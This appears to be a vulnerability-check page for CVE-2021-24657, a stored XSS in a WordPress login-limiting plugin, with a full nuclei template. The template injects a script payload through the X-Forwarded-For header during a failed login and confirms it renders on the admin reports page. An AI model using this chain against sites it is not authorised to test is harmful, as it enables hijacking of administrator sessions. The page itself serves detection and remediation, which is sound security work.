Limit Login Attempts WordPress - Stored Cross-site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.

Impact

Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement.

Fix

Update to version 4.0.50 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: POST /wp-login.php
Positive when: status_code == 200 and contains_all(body, "login attempts remaining.")
Send: GET /wp-admin/admin.php?page=reports
Positive when: status_code == 200 and contains_all(body, "login_reports", "{{rand}}", "<script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2021-24657 -u <target>

The full check

id: CVE-2021-24657

info:
  name: Limit Login Attempts WordPress - Stored Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 4.0.50 or later.
  reference:
    - https://wordpress.org/plugins/miniorange-limit-login-attempts
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24657
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24657
    epss-score: 0.01582
    epss-percentile: 0.75742
    cwe-id: CWE-79
  metadata:
    verified: true
    max-requests: 3
    public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
  tags: cve,cve2021,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated,vuln

flow: http(1) && http(2) && http(3)

variables:
  rand: '{{rand_text_alpha(6, "abc")}}'

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        X-Forwarded-For:{{rand}}<script>alert(document.domain)</script>

        log={{rand}}&pwd={{rand}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "login attempts remaining.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=reports HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "login_reports", "{{rand}}", "<script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from